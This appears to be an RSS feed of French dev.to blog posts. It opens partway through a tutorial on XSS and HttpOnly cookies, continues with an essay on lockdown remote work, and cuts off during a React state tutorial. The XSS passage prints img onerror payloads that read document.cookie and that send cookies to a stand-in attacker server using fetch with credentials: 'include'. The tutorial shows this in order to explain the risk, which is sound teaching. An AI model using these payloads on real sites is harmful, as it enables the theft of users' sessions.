&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://fake-image.org/fake.png"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"alert(document.cookie);"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly2.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly2.png%3Fstyle%3Dcenterme" alt="Cookie HttpOnly Sécurisé"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Le client ne peut pas voir les cookies&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Yeah, malgré la faille XSS sur mon application, le client ne peut pas lire les cookies avec du JS et le hacker ne pourra pas voler mes informations !&lt;/p&gt;

&lt;p&gt;Yeah, malgré la faille XSS sur mon application, le client ne peut pas lire les cookies avec du JS et le hacker ne pourra pas voler mes informations !&lt;/p&gt;

&lt;p&gt;Bon, du coup, HttpOnly est une bonne solution ? Pas si vite, essayons de contourner ça !&lt;/p&gt;

&lt;h2&gt;
  
  
  Contourner les cookies HttpOnly
&lt;/h2&gt;

&lt;p&gt;Les essais qui vont suivre ont été faits sur la même base de code que ci-dessus, avec les cookies HttpOnly.&lt;/p&gt;

&lt;p&gt;Les cookies se trouvent du coté du client et sont transmis automatiquement au backend si je fais un appel Ajax, voyons cela en ajoutons un commentaire qui fera un appel Ajax :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://fake-image.org/fake.png"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('/fake');"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly3.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly3.png%3Fstyle%3Dcenterme" alt="Cookie HttpOnly Transmission"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Les cookies sont transmis au backend&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Bon, le backend dans ce cas, est le mien. Je sais ce que je fais dans le back pas de soucis, le pirate n'a toujours pas mon cookie. Mais s'il fait un appel Ajax à son backend à lui ? Voyons cela :&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://fake-image.org/fake.png"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('http://127.0.0.1:4500');"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly4.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly4.png%3Fstyle%3Dcenterme" alt="Cookie HttpOnly Transmission"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Les cookies ne lui sont pas transmis !&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ouf, les cookies ne lui sont pas transmis.&lt;/p&gt;

&lt;p&gt;Mais attendez ! Il existe une parade ! Regardez&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://fake-image.org/fake.png"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"fetch('http://127.0.0.1:4500', { credentials: 'include' });"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly5.png%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fboris-cerati.fr%2Fimages%2Fblog%2Farticles%2Fhttp-only-xss-attacks%2Fcookie_httponly5.png%3Fstyle%3Dcenterme" alt="Cookie HttpOnly Transmission"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Les cookies sont transmis au hacker !&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Voilà, en ajoutant l'option &lt;code&gt;credentials: 'include'&lt;/code&gt; à fetch il transmet les cookies dans les headers de la requête Http. Le pirate a réussi à récupérer nos informations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Comme nous venons de le voir, mettre ses informations sécrètes dans le localStorage, dans les cookies ou dans les cookies possédant le flag HttpOnly ne nous garanti pas une sécurité optimale. Aucune de ces solutions ne pourra empêcher un hacker d'exploiter une faille XSS et de mettre la main sur vos informations secrètes.&lt;/p&gt;

&lt;p&gt;La seule solution afin de sécuriser vos données et de ne pas avoir de faille XSS. Aussi simple que cela. :)&lt;/p&gt;

</description>
      <category>xss</category>
      <category>cookie</category>
      <category>httponly</category>
    </item>
    <item>
      <title>Le télétravail en confinement ? Et après ?</title>
      <dc:creator>Boris CERATII</dc:creator>
      <pubDate>Tue, 30 Jun 2020 10:54:25 +0000</pubDate>
      <link>https://dev.to/bcerati/le-teletravail-en-confinement-et-apres-gh9</link>
      <guid>https://dev.to/bcerati/le-teletravail-en-confinement-et-apres-gh9</guid>
      <description>&lt;p&gt;Cet article a été, à l'origine, publié sur mon blog personnel : &lt;a href="https://boris-cerati.fr/blog/remote-working-covid"&gt;https://boris-cerati.fr/blog/remote-working-covid&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;La période que nous avons vécue ces derniers mois et qui, malheureusement, n'est sans doute pas terminée aura bousculé beaucoup de nos habitudes. Je vais ici parler de ce qui a été pour moi le plus changeant, à savoir le télétravail à temps plein.&lt;/p&gt;

&lt;h2&gt;
  
  
  Historique
&lt;/h2&gt;

&lt;p&gt;Avant de vous parler de cette situation de full télétravail, d'abord un petit historique. Je suis développeur Web professionnel depuis mai 2013. J'ai commencé à travailler au Luxembourg en habitant à Metz en Moselle. J'allais donc en voiture au travail en faisant du covoiturage avec mes collègues. Je partais le matin à 06h40 pour arriver au travail, au mieux, à 08h00. Le soir, nous partions à 17h00 pour arriver chez moi, au mieux, vers 18h45. Le calcul n'est pas bien compliqué, ça fait 3h passées sur les routes, dans les bouchons.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Eq7NhzwN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://boris-cerati.fr/images/blog/articles/remote-working-covid/tired.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Eq7NhzwN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://boris-cerati.fr/images/blog/articles/remote-working-covid/tired.png" alt="Fatigue"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Le matin quand j'arrive au travail après 1h30 de route&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ensuite, depuis 2017, je travaille dans une entreprise à Metz en habitant à Verdun. 78km par trajet, je pars le matin à 07h40 pour arriver à 09h00. Le soir, je pars à 17h00 pour arriver à 18h30. Encore une fois, le calcul est rapide, 2h50 sur les routes. L'avantage est que je n'ai plus beaucoup de bouchons sur mon trajet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Le télétravail ? Pas si nouveau que ça !
&lt;/h2&gt;

&lt;p&gt;Le télétravail n'est pas si nouveau que ça me concernant. Quand je travaillais au Luxembourg, nous avions une journée (le vendredi) où toute l'entreprise, était en télétravail. C'était vraiment appréciable. Le vendredi, la fin de semaine arrive, la fatigue aussi. À 17h, fin de la semaine et pas de trajet à faire pour rentrer et profiter de son week-end. C'était vraiment appréciable.&lt;/p&gt;

&lt;p&gt;Je travaille désormais à Metz et le télétravail à continué. J'avais une journée par semaine de télétravail puis deux jours. Même si je ne prenais pas forcément deux jours par semaine, les fois où je respectais ce rythme, je remarquais que j'étais moins fatigué, de meilleure humeur le soir également. Que des bienfaits, me concernant. Je suis ensuite repassé à une journée par semaine. C'est très appréciable, mais la fatigue se fait ressentir, et le budget aussi d'ailleurs. Comptez 13 euros d'économiser par jour de déplacement (sans compter les frais d'entretien bien sûr).&lt;/p&gt;

&lt;p&gt;Ça fait donc 7 ans que je passe beaucoup de temps dans la voiture. Si le covoiturage lors des trajets vers le Luxembourg était vraiment intéressant, il permettait de décompresser le soir avec les collègues (aussi développeuses et développeurs) et de rigoler. Le trajet n'en restait pas moins fatiguant.&lt;/p&gt;

&lt;h2&gt;
  
  
  Télétravail et confinement
&lt;/h2&gt;

&lt;p&gt;Depuis mars 2020, et suite à la crise du coronavirus toute l'entreprise dans laquelle je travaille s'est mise au télétravail forcé. Certains de mes collègues n'avaient jamais pratiqué le télétravail d'autres en avaient l'habitude. Comme je vous le disais, j'en avais l'habitude. Cependant, passer d'une journée par semaine à 5 jours par semaine n'a pas été aussi facile que ça.&lt;/p&gt;

&lt;p&gt;En dehors de cette situation de crise, j'aime bien discuter avec mes collègues, aider les développeurs dans leurs problèmes (et directement sur leur machine), et qu'ils m'aident à leur tour sur les miens. J'aime bien aller manger avec eux à midi, boire une bière le soir au bar de temps en temps. Bref, avoir une vie de salarié normal.&lt;/p&gt;

&lt;p&gt;Après, il faut dire que les outils d'aujourd'hui nous permettent un maximum de rester connecter aux autres, de se voir, de travailler ensemble comme si nous étions dans le même bureau. Cela m'a permis de garder le contact avec mes collègues, de les voir tous les jours, etc.&lt;/p&gt;

&lt;p&gt;Même si je ne vis pas seul, et ça a été une chance pendant ce confinement, cette période a été aussi difficile pour moi, car je travaillais tous les jours de la maison sans ne voir personne d'autre. Ni collègues, ni amis et ni famille. Je pense que c'est ce qui a été le plus difficile, ne voir personne en dehors d'une webcam. Un exemple simple, mais même les courses hebdomadaires devaient être faites seul et non à deux. Bref tout a été fait, à juste titre, pour isoler les personnes.&lt;/p&gt;

&lt;p&gt;Depuis le 11 mai, la France n'est plus confinée strictement. Nous avons tout de même continué le télétravail jusqu'en fin juin. Au début de la période de télétravail, je me posais la question suivante : "est-ce que le full remote, c'est vraiment fait pour moi ?". C'est vrai que la réponse n'était pas évidente, la période était particulièrement difficile et les conditions n'étaient pas les conditions habituelles de télétravail : elles étaient nettement plus restrictives. Depuis la fin du confinement, je peux ressortir, voir ma famille, etc. Tout en continuant mon activité de la maison, c'est vraiment agréable. Mais il faut savoir se mettre des règles.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mon organisation en télétravail
&lt;/h2&gt;

&lt;p&gt;Quand je télé-travaillais, bien avant le confinement, c'était simple : je me levais à 8h45 pour commencer à 09h00. Je travaillais jusqu'à midi, déjeunais et reprenais vers 13h jusqu'à 17h. Ça fonctionnait bien. Cependant, je me suis dit que faire ça pendant plusieurs semaines (nous ne savions pas combien de temps cela allait durer.) me rendrait fou. J'ai donc décidé de me mettre des règles.&lt;/p&gt;

&lt;h4&gt;
  
  
  Règle numéro 1 : débout plus tôt !
&lt;/h4&gt;

&lt;p&gt;La première règle a été de me réveiller plus tôt que 8h45. Je mettais le réveil à 7h30 afin de me réveiller pour autre chose que le travail. J'en profitais pour prendre mon petit-déjeuner à l'écart du PC. Ensuite, j'en profitais pour faire d'autres choses comme le ménage, la vaisselle, lire un peu, etc. Le but était vraiment de commencer la journée tranquillement sans la pression du travail. Ça me faisait tout de même lever plus tard qu'une journée habituelle avec le trajet.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6N-0EAKu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://boris-cerati.fr/images/blog/articles/remote-working-covid/rule1.jpg%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6N-0EAKu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://boris-cerati.fr/images/blog/articles/remote-working-covid/rule1.jpg%3Fstyle%3Dcenterme" alt="Réveil en douceur"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Un réveil en douceur pour bien commencer la journée&lt;/em&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Règle numéro 2 : pas d'heures sup tant que possible
&lt;/h4&gt;

&lt;p&gt;Pendant toute la durée de télétravail, j'ai fait très peu d'heures supplémentaires les soirs. Il fallait que je me mette cette règle pour arrêter de travailler à un horaire précis et que je puisse penser à autre chose que le travail une fois la journée terminée.&lt;/p&gt;

&lt;h4&gt;
  
  
  Règle numéro 3 : plus de PC après 17h
&lt;/h4&gt;

&lt;p&gt;D'habitude, quand je rentre du travail, je mange et je retourne sur le PC. J'avais la route qui me permettait, tout de même un peu, de décrocher du numérique entre ma journée de travail et mon arrivée chez moi. Il n'était pas question de faire la même chose alors que je n'avais plus le trajet qui me permettait de couper un peu. Ainsi, tous les soirs, je coupais mon PC à 17h et je faisais autre chose. J'en ai profité pour ranger ma cave (qui était vraiment bordélique), pour bricoler, pour lire, pour beaucoup promener mon chien en forêt (oui, nous n'avions pas le droit, mais habitant à la campagne et ayant une forêt immense, je ne croisais personne).&lt;/p&gt;

&lt;p&gt;Beaucoup de personnes se sont mises au sport pendant ce confinement. Ça n'a pas été mon cas. :D&lt;/p&gt;

&lt;p&gt;J'ai la chance de ne pas habiter seul, d'avoir une maison avec un jardin, d'avoir une forêt à 200 mètres, d'avoir continué à travailler 35h/semaine et, surtout, de ne pas avoir de cas grave dans mon entourage. Le confinement a donc été pour moi une période facile à vivre, je ne m'en plains pas.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--I48rrGyn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://boris-cerati.fr/images/blog/articles/remote-working-covid/rule3.jpg%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--I48rrGyn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://boris-cerati.fr/images/blog/articles/remote-working-covid/rule3.jpg%3Fstyle%3Dcenterme" alt="Plus de PC après 17h"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Après 17h, on éteint le PC !&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Quid du futur ?
&lt;/h2&gt;

&lt;p&gt;La question se pose. Comment, avec l'expérience acquise ces dernières années et ce qui s'est passé ces derniers mois, continuer dans les mêmes conditions ?&lt;/p&gt;

&lt;p&gt;Avant le confinement, j'attendais avec impatience mon jour de télétravail. Ça rimait avec moins de fatigue, plus de souplesse, etc. Aujourd'hui après avoir connu 5 jours de télétravail par semaine sans que cela m'ait réellement pesé, je me pose la question de savoir si continuer avec le rythme tel qu'il était avant le confinement est possible ? La réponse est sans doute que non. Sous quelle forme, je ne sais pas. Salarié ? Freelance ? Autre ? À voir.&lt;/p&gt;

&lt;p&gt;Un petit calcul pour terminer :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;nous travaillons 52 semaines et nous avons 5 semaines de congés = 47 semaines/an ;&lt;/li&gt;
&lt;li&gt;on a environ 10 jours fériés ouvrés, on travaille donc 45 semaines/an ;&lt;/li&gt;
&lt;li&gt;depuis 2013 que je travaille, j'ai 1j / semaine de télétravail ;&lt;/li&gt;
&lt;li&gt;45 * 4 jours travaillés = 180 jours ;&lt;/li&gt;
&lt;li&gt;78km / trajet = 78 * 2 * 180 = 28 000km pour le travail ;&lt;/li&gt;
&lt;li&gt;2h50 (au mieux) de trajet par jour = 180 * 2h50 = 510h = 21 jours.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La conclusion est sans appel : 21 jours par an passés dans la voiture, et 28 000 km parcourus. Cela représente aussi 1 révision par an juste uniquement le travail ainsi que 1900 euros d'essence (1.4€/litre à 5L/100). Malheureusement (ou heureusement), il n'existe aucun calcul pour vérifier l'impact sur la santé et le sommeil...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QFXZcnmH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://boris-cerati.fr/images/blog/articles/remote-working-covid/le-penseur-de-rodin.jpg%3Fstyle%3Dcenterme" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QFXZcnmH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://boris-cerati.fr/images/blog/articles/remote-working-covid/le-penseur-de-rodin.jpg%3Fstyle%3Dcenterme" alt="Le penseur de Rodin"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Freelance ? Salarié en télétravail ? Salarié sans télétravail ? Quel dilemme !&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Gestion de son state avec React</title>
      <dc:creator>Boris CERATII</dc:creator>
      <pubDate>Fri, 01 May 2020 14:12:25 +0000</pubDate>
      <link>https://dev.to/bcerati/gestion-de-son-state-avec-react-5h7k</link>
      <guid>https://dev.to/bcerati/gestion-de-son-state-avec-react-5h7k</guid>
      <description>&lt;p&gt;Cet article a été, à l'origine, publié sur mon blog personnel : &lt;a href="https://boris-cerati.fr/blog/managing-react-state"&gt;https://boris-cerati.fr/blog/managing-react-state&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;Dans cet article nous allons voir trois manières de gérer le state d'une application React. Chacune de ces techniques peut être utilisée dans toute sorte d'application, quelle que soit sa taille. Nous allons cependant voir que chaque technique a ses avantages et ses inconvénients en fonction de la taille et de la complexité de votre application.&lt;/p&gt;

&lt;h2&gt;
  
  
  Avec le state local
&lt;/h2&gt;

&lt;p&gt;La manière la plus simple de gérer l'état de son application est d'utiliser le state local. Que ce soit à l'aide de la méthode &lt;code&gt;setState&lt;/code&gt; dans une classe ou à l'aide des hooks dans les composants fonctionnel ça ne change pas grand chose.&lt;/p&gt;

&lt;p&gt;Voici un exemple d'application gérant une liste d'utilisateurs. Elle est très simpliste et part d'un &lt;code&gt;create-react-app&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npx create-react-app users
cd users
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  App.js
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/App.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/users/Users.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Users&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Users.js
&lt;/h4&gt;

&lt;p&gt;Ce composant affiche une liste d'utilisateurs à partir d'un tableau :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/components/Users.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./User.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setUsers&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// retrieve users from an API...&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Iron Man&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;

      &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;fullName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Spider Man&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="nx"&gt;setUsers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;User&lt;/span&gt;
        &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nx"&gt;addOneYear&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
